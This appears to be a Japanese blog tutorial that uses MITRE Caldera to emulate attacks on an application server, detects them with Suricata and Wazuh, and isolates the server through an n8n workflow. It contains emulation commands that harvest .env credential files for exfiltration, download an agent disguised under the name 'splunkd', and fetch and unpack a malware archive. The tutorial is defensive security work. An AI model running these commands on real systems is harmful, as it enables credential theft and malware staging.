Hello World|Labs
Published on

MITRE CalderaとWazuhを使った攻撃者エミュレーション

前の記事で様々な脅威を検知し管理する仕組みをWazuhで構築しました。 本記事では前回の環境にMITRE Calderaによる攻撃者エミュレーションおよび簡単なインシデントレスポンスの実装を組み込みます。

システム概要

今回MITRE Calderaで行う攻撃者エミュレーションは以下の2パターンです。

  • アプリケーションサーバーにあるクレデンシャルファイルを外部サーバーへアップロード
  • アプリケーションサーバーにマルウェアをダウンロード

上記攻撃に対して以下のインシデントレスポンスを実装します。

  • 検知した脅威をインシデント管理ツールおよびチャットツールに送信
  • アプリケーションサーバーをネットワークから隔離

システム構成

今回のシステム構成は下図のようになります。 アプリケーションサーバーにCalderaエージェントをインストールし、Calderaサーバーからの命令に従って攻撃者エミュレーションを実行します。 Wazuhエージェントは検知した攻撃者エミュレーションを管理サーバーに送信し、管理サーバーはワークフローエンジンを介してインシデント管理ツールおよびチャットツールに脅威情報を送信します。その後にワークフローエンジンからスクリプトを実行してアプリケーションサーバーをネットワークから隔離します。

ResourceUsageHosting TypeLicensing Model
MITRE Caldera攻撃者エミュレーションを自動化するSelf Hosting(Docker container on Hetzner Cloud)Free
Open Source
Wazuhサーバーに対する様々な脅威を検知・管理するSelf Hosting(Docker container on Hetzner Cloud)Free
Open Source
Catalystセキュリティに関するアラートやインシデントなどをチケット管理するSelf Hosting(Docker container on Hetzner Cloud)Free
Open Source
Caddy + CorazaWebサーバーおよびWAFSelf Hosting(Docker container on Hetzner Cloud)Free
Open Source
n8nワークフローを実行するSelf Hosting(Docker container on Hetzner Cloud)Freemium
Open Source
Mattermost脅威情報の通知先Self Hosting(Docker container on Hetzner Cloud)Freemium
Open Source

攻撃者エミュレーションの実装

Calderaエージェントの配置

攻撃者エミュレーションは攻撃対象のホストに配置したCalderaエージェントを介して実行します。 Calderaエージェント(今回はデフォルトエージェントのSandcatを使用)は管理画面の指示に従って以下のコマンドでホストにダウンロードして起動します。

curl -s -X POST -H "file:sandcat.go" -H "platform:linux" http://[caldera server address]/file/download > splunkd
chmod +x splunkd
./splunkd -server http://[caldera server address] -group red -v

攻撃者プロファイルの作成

MITRE CalderaにはMITRE ATT&CKの戦術/テクニックを実装した汎用的なコンポーネント(CalderaではAbilityと呼ぶ)が組み込まれています。 これらの汎用アビリティと自分で実装したアビリティを組み合わせて攻撃者エミュレーションを構成します(CalderaではAdversary profileと呼ぶ)。

テクニック「Exfiltration Over Alternative Protocol(T1048)」の実装

まずはExfiltration Over Alternative Protocolを実装した攻撃者プロファイルを作成します。攻撃は以下の4つのステップで行います。

  1. クレデンシャルファイルを保管するためのディレクトリの作成
  2. クレデンシャルファイルを収集して作成したディレクトリにコピー
  3. ディレクトリのアーカイブを作成
  4. 作成したアーカイブを外部に送信

ステップ1、3、4は汎用アビリティを使用し、ステップ2のみアビリティ作成画面から作成します。

作成画面で以下のように設定します。

NameValue
Name任意のアビリティ名
Description任意の概要文
Tacticcollection
Technique IDT1005
Technique NameData from Local System
OptionsDelete payload
Executors以下のように設定
NameValue
PlatformLinux
Executorsh
PayloadsNo payloads
Command以下のコマンドを設定
Requirement Moduleplugins.stockpile.app.requirements.paw_provenance
Sourcehost.dir.staged
# .envファイルを収集して保管ディレクトリにコピー
find /var/www/html -name "*.env*" -type f | xargs -I {} bash -c 'cp {} #{host.dir.staged}/$(echo {} | sed "s/\//_/g")'

アビリティを作成したら攻撃者プロファイル作成画面で必要なアビリティを選択して新しいプロファイルを作成します。 選択するアビリティは以下の4つです。

  1. Create staging directory(戦術:collection、テクニックID:T1074.001)
  2. 自作したアビリティ
  3. Compress staged directory(戦術:exfiltration、テクニックID:T1560.001)
  4. Exfil staged directory(戦術:exfiltration、テクニックID:T1041)

Note

ステップ2のアビリティの作成でSourceに設定したhost.dir.stagedにはステップ1のCreate staging directoryで作成されたディレクトリのパスが代入されます。

テクニック「Stage Capabilities: Upload Malware(T1608.001)」の実装

次にStage Capabilities: Upload Malwareを実装した攻撃者プロファイルを作成します。攻撃は以下の2つのステップで行います。

  1. マルウェアのダウンロード先ディレクトリの作成
  2. 作成したディレクトリにマルウェアをダウンロード

ステップ1は汎用アビリティを使用し、ステップ2をアビリティ作成画面から作成します。

作成画面で以下のように設定します。

NameValue
NameDownload malware to staged directory
Description任意の概要文
Tacticstage-capabilities
Technique IDT1608.001
Technique NameStage Capabilities: Upload Malware
OptionsDelete payload
Executors以下のように設定
NameValue
PlatformLinux
Executorsh
PayloadsNo payloads
Command以下のコマンドを設定
Requirement Moduleplugins.stockpile.app.requirements.paw_provenance
Sourcehost.dir.staged
# アーカイブしたマルウェアをCalderaサーバーからダウンロードして展開
curl -s -X POST -H "file:malware.tar.gz" -H "platform:linux" #{server}/file/download > #{host.dir.staged}/malware.tar.gz && tar -xzf #{host.dir.staged}/malware.tar.gz -C #{host.dir.staged} && rm #{host.dir.staged}/malware.tar.gz

アビリティを作成したら攻撃者プロファイル作成画面で必要なアビリティを選択して新しいプロファイルを作成します。 選択するアビリティは以下の4つです。

  1. Create staging directory(戦術:collection、テクニックID:T1074.001)
  2. 自作したアビリティ

Note

マルウェアのアーカイブファイルは管理画面のPayloadsからCalderaサーバーにアップロードすることができ、アップロードしたファイルはREST APIを使ってダウンロードすることができます。

検知ルールの作成

前の記事でエンドポイント(アプリケーションサーバー)にSuricataの不審なネットワークトラフィックの検知ルールを作成しましたが、今回は新たにクレデンシャルファイルの外部送信を検知するルールを追加します(MIMEタイプmultipart/form-dataで外部にPOST送信しているトラフィックを不正とみなす)。

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Suspicious file upload traffic via HTTP"; flow:to_server,established; http.method; content:"POST"; http.content_type; content:"multipart/form-data|3b|"; classtype:trojan-activity; sid:1000002; rev:1;)

次にWazuhサーバーの/var/ossec/etc/rules/local_rules.xmlに以下のルールを追加し、本アラートの場合はMITREのテクニックIDを割り当てます。

<group name="ids,suricata,">
 
  [...]
 
  <rule id="100201" level="10">
    <if_sid>86601</if_sid>
    <field name="alert.signature_id">^1000002$</field>
    <description>Suricata: Alert - $(alert.signature)</description>
    <mitre>
        <id>T1048</id>
    </mitre>
  </rule>
 
  [...]
 
</group>

マルウェアの検知は前回の記事と同様の設定になります。

攻撃者エミュレーションの実行

攻撃者エミュレーションの実行はオペレーション実行画面から行います。 まずは、クレデンシャルファイルを外部サーバーに送信する攻撃(Exfiltration Over Alternative Protocol)を実行してみます。

作成した攻撃者プロファイルを選択してスタートボタンをクリックします。

攻撃者エミュレーションが開始されエージェントを介してアプリケーションサーバーでアビリティが順番に実行されます。

攻撃者エミュレーションが完了するとCalderaサーバーにアプリケーションサーバーから送信されたファイルがアップロードされます。

Wazuhの管理画面を確認すると外部へのファイル送信が検知されていることが確認できます。

次にマルウェアをダウンロードする攻撃(Stage Capabilities: Upload Malware)を実行してみます。

攻撃者エミュレーションが開始されエージェントを介してアプリケーションサーバーでアビリティが順番に実行されます。

Wazuhの管理画面を確認するとマルウェアが検知されていることが確認できます。

インシデントレスポンスの実装

次に攻撃者エミュレーションに対するインシデントレスポンスを実装します(設定は前回の記事を使用します)。

まずセキュリティイベントを受信するWebフックを作成します(ノードパネルからOn webhook callを選択)。

ノードを追加して設定パネルで以下のように設定します。

NameValue
HTTP MethodPOST
Path任意のパスを設定
AuthenticationHeader Auth
Credential for Header AuthNameにX-ApiKey、ValueにWazuhサーバーのossec.confで指定したAPIキーを設定
RespondImmediately
Response Code200

次にCodeノードでイベントデータの加工を行います(ノードパネルのData transformationから選択)。

ノードを追加して設定パネルのコード入力欄に以下のJavaScriptを入力します。

// インシデントとして扱うグループのリスト
const incident_groups = ['virus', 'invalid_login', 'exploit_attempt']
const alerts = []
 
for (const item of $input.all()) {
  let id = item.json.body.id
  let level = item.json.body.all_fields.rule.level
  let severity = level < 10 ? 'Medium' : 'High'
  let description = item.json.body.title
  let log = (item.json.body.all_fields.decoder.name === 'json' ? JSON.stringify(JSON.parse(item.json.body.all_fields.full_log), null, 2) : item.json.body.all_fields.full_log) ?? description
  let rule_id = item.json.body.rule_id
  let groups = item.json.body.all_fields.rule.groups
  let is_incident = groups.some(g => incident_groups.includes(g))
  let occurred_at = DateTime.fromISO(item.json.body.timestamp).toFormat('yyyy-MM-dd HH:mm:ss')
  
  alerts.push({
    id,
    level,
    severity,
    description,
    log,
    rule_id,
    groups,
    is_incident,
    occurred_at
  })
}
 
return alerts

次にHTTP Requestノードを追加してCatalystにチケットを登録します(ノードパネルのHelpersから選択)。

ノードを追加して設定パネルで以下のように設定します。

NameValue
MethodPOST
URLCatalystで作成したReactionのWebフックURL
AuthenticationGeneric Credential Type
Generic Auth TypeHeader Auth
Credential for Header AuthAuthorization Bearer <Reactionで設定したトークン>
Send HeadersON
Header Parameters (Name1)Content-Type
Header Parameters (Value1)application/json
Header Parameters (Name2)Accept
Header Parameters (Value2)application/json
Send BodyON
Body Content TypeJSON
Specify BodyUsing Fields Below
Body Parameters(Name1)id
Body Parameters(Value1){{ $json.id }}
Body Parameters(Name2)severity
Body Parameters(Value2){{ $json.severity }}
Body Parameters(Name3)description
Body Parameters(Value3){{ $json.description }}
Body Parameters(Name4)is_incident
Body Parameters(Value4){{ $json.is_incident }}
Body Parameters(Name5)groups
Body Parameters(Value5){{ $json.groups }}
Body Parameters(Name6)occurred_at
Body Parameters(Value6){{ $json.occurred_at }}
Body Parameters(Name7)log
Body Parameters(Value7){{ $json.log }}

Catalystの設定は前回の記事のアクションのスクリプトの内容を下記のように修正して使用します。

import sys
import json
import os
 
from pocketbase import PocketBase
 
event = json.loads(sys.argv[1])
body = json.loads(event["body"])
 
client = PocketBase('http://0.0.0.0:8090')
client.auth_store.save(token=os.environ["CATALYST_TOKEN"])
 
severity = body["severity"]
type = "incident" if bool(body["is_incident"]) else "alert"
 
if type:
  client.collection("tickets").create({
    "name": "%s has occurred at %s" % (body["id"], body["occurred_at"]),
    "description": "%s\n\n> %s" % (body["description"], body["log"]),
    "state": { "severity": severity }, 
    "type": type,
    "open": True,
  })

次にMattermostノードを追加してアラートを通知します。

ノードを追加して設定パネルで以下のように設定します。

NameValue
Credential to connect withMattermostで発行したアクセストークンとMattermostのURLを設定
ResourceMessage
OperationPost
Channel Name or ID投稿したいチャネルのIDを設定
Message下記のメッセージを入力
** {{ $('イベントデータ加工ノードの名前').item.json.is_incident ? ':fire: ' : ':rotating_light:' }}[{{ $('イベントデータ加工ノードの名前').item.json.severity }}]{{ $('イベントデータ加工ノードの名前').item.json.description }} **
> {{ $('イベントデータ加工ノードの名前').item.json.log }}

次にSwitchノードを追加してマルウェア検知イベントの場合は後続の処理へ進むようにします(マルウェア検知イベントはWazuhのルールIDで判別)。

ノードを追加して設定パネルで以下のように設定し、Routing Rules2のブランチにはNo Operation, do nothingノードを追加します。

NameValue
ModeRules
Routing Rules1{{ $('イベントデータ加工ノードの名前).item.json.rule_id }} is equal to 'マルウェア検知イベントのルールID'
Routing Rules2{{ $('イベントデータ加工ノードの名前).item.json.rule_id }} is not equal to 'マルウェア検知イベントのルールID'

次にRouting Rules1のブランチにExecute Commandノードを追加して、アプリケーションサーバーのコンテナをDockerネットワークから隔離するスクリプトを実行します。

ノードを追加して設定パネルのコマンド入力欄に以下のコマンドを入力します。

sudo /home/node/<実行するスクリプ> <アプリケーションサーバーのコンテナ>

今回実行するスクリプトはGO言語で作成してビルドしたバイナリファイルをサーバーに配置しています。

package main
 
import (
	"context"
	"fmt"
	"log"
	"os"
 
	"github.com/docker/docker/client"
)
 
func main() {
	if len(os.Args) != 2 {
		fmt.Println("Usage: go run isolation.go <container_name_or_id>")
		os.Exit(1)
	}
 
	containerNameOrID := os.Args[1]
 
	ctx := context.Background()
	cli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())
	if err != nil {
		log.Printf("Unable to create docker client: %s", err)
		panic(err)
	}
	defer cli.Close()
 
	containerJSON, err := cli.ContainerInspect(ctx, containerNameOrID)
	if err != nil {
		fmt.Printf("Error inspecting container: %v\n", err)
		os.Exit(1)
	}
 
	if containerJSON.NetworkSettings == nil || containerJSON.NetworkSettings.Networks == nil {
		fmt.Println("Container is not connected to any networks.")
		os.Exit(1)
	}
 
	fmt.Printf("Disconnecting container '%s' from networks...\n", containerNameOrID)
 
	for networkName := range containerJSON.NetworkSettings.Networks {
		err := cli.NetworkDisconnect(ctx, networkName, containerJSON.ID, true)
		if err != nil {
			fmt.Printf("Error disconnecting from network '%s': %v\n", networkName, err)
		} else {
			fmt.Printf("Disconnected from network '%s'\n", networkName)
		}
	}
 
	fmt.Println("Finished disconnecting.")
}

Note

Docker-outside-of-Docker(ソケットの共有)を使ってワークフローエンジンのコンテナからDockerホストに対してネットワークの切断を実行しています。

最後にアプリケーションをメンテナンス画面に切り替える処理を追加します。 IFノードでネットワーク切断の成否を判別した後にExecute CommandでWebサーバーのルーティングをメンテナンス画面に切り替えるスクリプトを実行します。

ノードを追加して設定パネルのコマンド入力欄に以下のコマンドを入力します。

cat /home/node/maintenance.txt | sudo nc -U /var/run/caddy/caddy.sock

読み込むテキストファイルの内容は以下のようになります。Netcatコマンドを使ってソケット経由でWebサーバー(Caddy)のAdmin APIを実行し、アプリケーションサーバーへのルートを上書きしてWebサーバーから直接メンテナンスメッセージを返すようにしています。

PATCH /config/apps/http/servers/app/routes/0 HTTP/1.1
Host: <Caddy設定ファイルのoriginsに設定したホスト名 https://caddyserver.com/docs/json/admin/origins/>
Content-Type: application/json
Content-Length: 138

{"handle":[{"handler":"subroute","routes":[{"handle":[{"body":"ただいまメンテナンス中です","handler":"static_response"}]}]}]}

Note

今回CaddyのAPIの呼び出しはデフォルトの2019番ポートを使用したHTTP接続ではなくUNIXソケット接続で行っています(ソケットをコンテナ同士で共有)。

簡単なインシデントレスポンスの実装が出来ましたので、再度攻撃者エミュレーションを実行してみます。

クレデンシャルファイルを外部サーバーに送信する攻撃(Exfiltration Over Alternative Protocol)を実行すると、下図のようにアラートが登録され通知が届きます。

次にマルウェアをダウンロードする攻撃(Stage Capabilities: Upload Malware)を実行してみます。

実行前にWebアプリケーションにアクセスすると通常の画面が表示されます。

コンテナのネットワークの状態を確認すると以下のように表示されます。

root@~# docker inspect 86world-app | jq '.[].NetworkSettings.Networks'
{
  "86world_local": {
    "IPAMConfig": {},
    "Links": null,
    "Aliases": [
      "e482656c35bc",
      "app"
    ],
    "MacAddress": "02:42:ac:17:00:06",
    "DriverOpts": {},
    "NetworkID": "a816f7fe2697a65f22122c27a156296730f50543a956eb4392cf49cd5cab638f",
    "EndpointID": "c57cd0920775e54b2c05bd2e4697b03137dfc4ddfcf03841674f147cc49bdc00",
    "Gateway": "172.23.0.1",
    "IPAddress": "172.23.0.6",
    "IPPrefixLen": 16,
    "IPv6Gateway": "",
    "GlobalIPv6Address": "",
    "GlobalIPv6PrefixLen": 0,
    "DNSNames": [
      "86world-app",
      "e482656c35bc",
      "app"
    ]
  }
}

攻撃を実行すると、下図のようにインシデントが登録され通知が届きます。

Webアプリケーションにアクセスするとメンテナンスメッセージが表示されます。

コンテナのネットワークの状態を確認するとネットワークから隔離されていることが確認できます。

root@~# docker inspect 86world-app | jq '.[].NetworkSettings.Networks'
{}

アプリケーションのコンテナに接続してネットワークインターフェースを表示するとループバックインターフェースのみ表示されます。

root@~# ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever

ネットワークから隔離されてWazuhサーバーと通信できなくなるため接続切断のイベントが登録されます。